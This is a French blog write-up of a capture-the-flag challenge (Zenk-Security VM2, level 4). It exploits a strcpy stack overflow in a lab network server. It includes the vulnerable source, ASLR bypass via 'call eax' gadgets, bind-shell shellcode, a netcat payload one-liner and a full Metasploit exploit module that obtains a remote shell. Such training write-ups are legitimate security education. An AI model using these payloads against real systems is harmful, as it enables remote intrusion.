Aujourd'hui je vais vous présenter ma solution du challenge 4 de la VM2 de Zenk-Security.
C'est un challenge vraiment pas mal du tout, il a l'ASLR d'activé et est en remote :).
Tout d'abord il faut récupérer la machine virtuelle ici.
Et le code du challenge :
//gcc -o final final.c -mpreferred-stack-boundary=2 -fno-stack-protector #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFFER_SIZE 1024 #define BACKLOG 5 void process(char *buffer); void cleanup(int socket_descriptor, int incoming_socket); int main(int argc, char *argv[]) { int socket_descriptor = -1; int incoming_socket; int server_port = 7777; int message_length; int i_want_reusable_ports = 1; int length; int index; char buffer[BUFFER_SIZE]; struct sockaddr_in my_address; struct sockaddr_in their_address; socket_descriptor = socket(AF_INET, SOCK_STREAM, 0); if (socket_descriptor < 0) { cleanup(socket_descriptor, incoming_socket); exit(1); } if (setsockopt(socket_descriptor, SOL_SOCKET, SO_REUSEADDR, &i_want_reusable_ports, sizeof(int))== -1) { cleanup(socket_descriptor, incoming_socket); exit(2); } my_address.sin_family = AF_INET; my_address.sin_port = htons(server_port); my_address.sin_addr.s_addr = INADDR_ANY; memset(&(my_address.sin_zero), '0', 8); if (bind(socket_descriptor, (struct sockaddr *) &my_address, sizeof(my_address)) < 0) { cleanup(socket_descriptor, incoming_socket); exit(3); } if (listen(socket_descriptor, BACKLOG) == -1) { cleanup(socket_descriptor, incoming_socket); exit(4); } length = sizeof(my_address); while (1) { memset(buffer,0,BUFFER_SIZE); if ((incoming_socket = accept(socket_descriptor, (struct sockaddr *) &their_address,&length)) == -1) { cleanup(socket_descriptor, incoming_socket); exit(5); } if(!strcmp(inet_ntoa(their_address.sin_addr),"127.0.0.1")) { printf("Local Interdit!\n"); exit(6); } printf("Client : %s...\n", inet_ntoa(their_address.sin_addr)); send(incoming_socket, "Bienvenue!\n", 11, 0); index = 0; while ((message_length = read(incoming_socket, buffer + index, 1)) > 0) { index += message_length; if (buffer[index - 1] == '\0') break; } printf("Message recu : %s\n", buffer); process(buffer); close(incoming_socket); } cleanup(socket_descriptor, incoming_socket); return 0; } void process(char *buffer) { char local_buffer[1024]; strcpy(local_buffer, buffer); } void cleanup(int socket_descriptor, int incoming_socket) { if (socket_descriptor != -1) { close(socket_descriptor); close(incoming_socket); } }
On voit tout de suite que la vuln' se trouve dans process().
L'assembly correspondant :
Dump of assembler code for function process: 0x080489c8 <+0>: push ebp 0x080489c9 <+1>: mov ebp,esp 0x080489cb <+3>: sub esp,0x408 0x080489d1 <+9>: mov eax,DWORD PTR [ebp+0x8] 0x080489d4 <+12>: mov DWORD PTR [esp+0x4],eax 0x080489d8 <+16>: lea eax,[ebp-0x400] 0x080489de <+22>: mov DWORD PTR [esp],eax 0x080489e1 <+25>: call 0x80485a4 <strcpy@plt> 0x080489e6 <+30>: leave 0x080489e7 <+31>: ret End of assembler dump.
Cool, notre eax est pas modifié or on sait que strcpy() renvoi l'adresse de notre buffer, ça peut être utile pour les instructions du genre :
call eax
On va chercher ça avec objdump :
[user4@ZenkApp2 ~]$ objdump -d ./final | grep call | grep eax 80486a8: ff 14 85 28 9b 04 08 call *0x8049b28(,%eax,4) 80486ef: ff d0 call *%eax 8048a9b: ff d0 call *%eax
Et voilà nos deux addresses : 0x080486ef et 0x08048a9b.
On va poutrer ça de 2 manières :
- façon classique avec notre vieux python
- avec un sploit metasploit
Tout d'abord on va chercher l'offset où on re-écrit EIP.
Sous la VM on met en place GDB :
[user4@ZenkApp2 ~]$ gdb -q ./final Reading symbols from /home/user4/final...(no debugging symbols found)...done. gdb$ r
Puis on envoi un pattern metasploit à partir de notre machine :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_create.rb 1040 | nc 192.168.56.101 7777 Bienvenue!
Regardons ce qui s'est passé dans notre VM?
Client : 192.168.56.1... Message recu : Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi Program received signal SIGSEGV, Segmentation fault. --------------------------------------------------------------------------[regs] EAX: BF8AD940 EBX: B77CCFF4 ECX: 00000000 EDX: 0000040E o d I t s Z a P c ESI: 00000000 EDI: 00000000 EBP: 69423169 ESP: BF8ADD48 EIP: 33694232 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x33694232 0x33694232 in ?? () gdb$
On cherche l'offset correspondant :
m_101@m_101-laptop:~/repos/msf$ tools/pattern_offset.rb `python -c 'print "\x32\x42\x69\x33"'` 1028
Ok cool on a l'offset pour re-écrire EIP.
Maintenant on va poutrer ça avec une payload de type bind shell. Vu que c'est pas un write-up shellcoding, on va pas s'embêter : msfpayload nous générera notre payload ^^.
m_101@m_101-laptop:~/repos/msf$ ./msfpayload linux/x86/shell_bind_tcp RHOST=192.168.56.101 RPORT=7337 R | ./msfencode -a x86 -b "\x00" -t c [*] x86/shikata_ga_nai succeeded with size 106 (iteration=1) unsigned char buf[] = "\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6" "\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11" "\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86" "\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3" "\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6" "\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57" "\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95" "\x19";
Bon reste plus qu'à faire à notre ami netcat, on envoi la payload :
python -c 'print "\x90" * 922 + "\x29\xc9\xb1\x14\xdb\xc9\xd9\x74\x24\xf4\xbd\x6b\xec\x5f\xe6\x5a\x31\x6a\x16\x83\xea\xfc\x03\x6a\x12\xe2\x9e\xdd\x84\x11\x83\x4d\x78\x8d\x29\x70\xf7\xd0\x1d\x12\xca\x93\x06\x85\x86\xfb\x47\x3b\x36\xa0\xdd\x2c\x69\x08\xa8\xac\xe3\xce\xf2\xe3\x74\x87\x43\xf8\xc7\x9c\xf3\x66\xe5\x1d\xb0\xd6\x93\xd0\xb6\x84\x05\x81\x89\xf2\x78\xd5\xbc\x7b\x7b\xbe\x11\x53\x08\x57\x05\x84\x8c\xce\xbb\x53\xb3\x41\x10\xed\xd5\xd2\x9d\x20\x95\x19" + "\xef\x86\x04\x08"' | nc 192.168.56.101 7777
Puis on se connecte :
nc 192.168.56.101 7337
Et wala :).
Maintenant la deuxième méthode, voilà mon sploit :
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking #include Msf::Exploit::Remote::Ftp include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'VMZenk2 level4 (Linux)', 'Description' => %q{ Exploit challenge 4 VMZenk2 Bypass ASLR ;) }, 'Author' => [ 'm_101' ], 'Version' => '$Revision: 11031 $', 'References' => [ ['URL', 'http://binholic.blogspot.com'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload' => { 'Space' => 1020, # NOTE: \x0a et \x0d are avoided because it's usually ending network packets in some protocols 'BadChars' => "\x0a\x0d\x00", 'DisableNops' => true }, 'Platform' => [ 'linux', ], 'Targets' => [ [ 'VMZenk2 Linux ASLR ON', { 'Ret' => '' # empty (we randomize it in the exploit() } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 13 2010')) register_options( [ Opt::RPORT(7777), ], self.class ) end def exploit connect # both ret return to : call eax rets = [ 0x080486ef, 0x08048a9b ] ret_offset = 1028 egg = payload.encoded egg << rand_text_alphanumeric(ret_offset - egg.length) # usual way to do : # egg << [target.ret].pack('V') # better way :) egg << [rets[rand(rets.length)]].pack('V') sock.put(egg) handler disconnect end end
Ca donne ça :
m_101@m_101-laptop:~/repos/msf$ ./msfconsole _ _ _ _ | | | | (_) | _ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_ | '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __| | | | | | | __/ || (_| \__ \ |_) | | (_) | | |_ |_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__| | | |_| =[ metasploit v3.5.1-dev [core:3.5 api:1.0] + -- --=[ 632 exploits - 311 auxiliary + -- --=[ 215 payloads - 27 encoders - 8 nops =[ svn r11031 updated today (2010.11.13) msf > use exploit/linux/misc/vmzenk2level4 msf exploit(vmzenk2level4) > set payload linux/x86/shell_bind_tcp payload => linux/x86/shell_bind_tcp msf exploit(vmzenk2level4) > set RHOST 192.168.56.101 RHOST => 192.168.56.101 msf exploit(vmzenk2level4) > exploit [*] Started bind handler [*] Command shell session 1 opened (192.168.56.1:56405 -> 192.168.56.101:4444) at Sat Nov 13 23:22:23 +0100 2010 ls = final final.c pass id uid=1004(user4) gid=1004(user4) groups=1004(user4)
J'espère que ce write-up vous a plu (surtout le temps que ça m'a pris pour l'écrire :p).
Have fun ;),
m_101
Links :
- Man strcpy()
Aucun commentaire :
Enregistrer un commentaire